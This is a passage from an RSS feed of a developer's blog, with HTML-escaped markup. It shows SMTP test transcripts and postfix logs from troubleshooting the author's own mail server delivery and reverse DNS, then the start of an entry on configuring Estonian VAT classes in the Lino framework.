&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PIPELINING&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SIZE&lt;/span&gt; &lt;span class="mi"&gt;10240000&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VRFY&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ETRN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;STARTTLS&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AUTH&lt;/span&gt; &lt;span class="n"&gt;PLAIN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AUTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ENHANCEDSTATUSCODES&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BITMIME&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DSN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SMTPUTF8&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;CHUNKING&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;STARTTLS&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;Ready&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EHLO&lt;/span&gt; &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wormly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PIPELINING&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SIZE&lt;/span&gt; &lt;span class="mi"&gt;10240000&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VRFY&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ETRN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AUTH&lt;/span&gt; &lt;span class="n"&gt;PLAIN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AUTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ENHANCEDSTATUSCODES&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BITMIME&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DSN&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SMTPUTF8&lt;/span&gt;
                       &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;CHUNKING&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MAIL&lt;/span&gt; &lt;span class="n"&gt;FROM&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.1.0&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="n"&gt;TO&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.1.5&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DATA&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;354&lt;/span&gt; &lt;span class="n"&gt;End&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Wed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="n"&gt;Dec&lt;/span&gt; &lt;span class="mi"&gt;2019&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Wormly&lt;/span&gt; &lt;span class="n"&gt;SMTP&lt;/span&gt; &lt;span class="n"&gt;Test&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Subject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Wormly&lt;/span&gt; &lt;span class="n"&gt;SMTP&lt;/span&gt; &lt;span class="n"&gt;Test&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1639293&lt;/span&gt;&lt;span class="n"&gt;d056826af4d71d7d9cf551c96&lt;/span&gt;&lt;span class="nd"&gt;@blog&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wormly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MIME&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iso&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8859&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Wormly&lt;/span&gt; &lt;span class="n"&gt;SMTP&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt; &lt;span class="n"&gt;tool&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mozilla&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;X11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Ubuntu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Linux&lt;/span&gt; &lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;71.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Gecko&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;20100101&lt;/span&gt; &lt;span class="n"&gt;Firefox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;71.0&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;84.50.167.213&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;queued&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;AA3D27E54&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;QUIT&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;221&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;Bye&lt;/span&gt;
&lt;span class="n"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt;
&lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt; &lt;span class="n"&gt;successfully&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But when sending to &lt;a class="reference external" href="mailto:lucsaffre&amp;#37;&amp;#52;&amp;#48;hot&amp;#46;ee"&gt;lucsaffre&lt;span&gt;&amp;#64;&lt;/span&gt;hot&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt; I get the following answer:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Resolving&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Connecting&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;opening&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
                       &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;SMTP&lt;/span&gt; &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;refused&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;   &lt;span class="n"&gt;SMTP&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PHPMailer&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PHPMailer&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;wiki&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Troubleshooting&lt;/span&gt;
&lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;sending&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But then. Testing LF on &lt;a class="reference external" href="https://mxtoolbox.com/SuperTool.aspx?action=smtp%3alino-framework.org&amp;amp;run=toolpage"&gt;mxtoolbox.com&lt;/a&gt;
told me “Reverse DNS is not a Valid Hostname”.  More precisely “Your Reverse DNS
Record (PTR) is not a valid host name. According to email sending best
practices, a PTR Record should be a valid host name. If the PTR Record is not a
valid hostname, there is a likelihood that you will experience email delivery
issues with anti-spam services.””&lt;/p&gt;
&lt;p&gt;Finally I have a way to reproduce the problem!  Thanks, mxtoolbox :-)&lt;/p&gt;
&lt;p&gt;The problem disappeared on mxtoolbox when I changed the reverse DNS name for my
IP address from  &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino-framework.org.&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.lino-framework.org.&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;While it works now on mxtoolbox, I am now getting the following answer from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mx1.hot.ee&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="n"&gt;vps&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ssd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sbg1&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9360&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;118557&lt;/span&gt;&lt;span class="n"&gt;D24&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;xxx&lt;/span&gt;&lt;span class="nd"&gt;@hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;6.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.69&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.06&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5.4&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.3.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;deferred&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;mx1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;194.126.101.119&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.3.2&lt;/span&gt;
&lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;currently&lt;/span&gt; &lt;span class="n"&gt;unavailable&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="n"&gt;TO&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe their postscreen has blacklisted my server? I asked Telia to verify.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1211.html</guid><pubDate>Wed, 11 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 10, 2019</title><link>https://luc.lino-framework.org/blog/2019/1210.html</link><description>&lt;section id="tuesday-december-10-2019"&gt;
&lt;h1&gt;Tuesday, December 10, 2019&lt;a class="headerlink" href="#tuesday-december-10-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to configure the Estonian VAT declaration.&lt;/p&gt;
&lt;p&gt;VAT classes are the classes of trade objects to be differentiated in the VAT
declaration.  For example in Estonia the VAT office wants to know how much money
you spend for buying vehicles or real estate objects.  In Belgium both vehicles
and real estate objects are considered together as investments.&lt;/p&gt;
&lt;p&gt;The demo data for ledger purchases now uses all VAT classes. Until now it used
always the default VAT class.&lt;/p&gt;
&lt;p&gt;There is no longer a VAT class “normal”. You must decide whether it is a “good”
or a “service”.&lt;/p&gt;
&lt;p&gt;The furniture fixture now defines two new products, a book and a stamp, just to
